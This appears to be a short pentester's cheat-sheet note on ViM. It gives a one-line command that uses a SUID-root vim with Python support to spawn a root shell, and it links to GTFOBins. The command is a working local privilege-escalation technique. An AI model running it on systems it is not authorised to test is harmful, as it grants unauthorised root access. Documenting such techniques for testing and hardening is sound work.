# ViM ## Getting a shell ![[Get a shell from ViM]] ## Exploiting SUID ViM If ViM is SUID root *and* is compiled with [[Python]] support, it can be [used for privilege escalation](https://gtfobins.github.io/gtfobins/vim/). ```bash vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' ``` > [!tip] > Use `:py` instead if only [[Python]] 2 is available.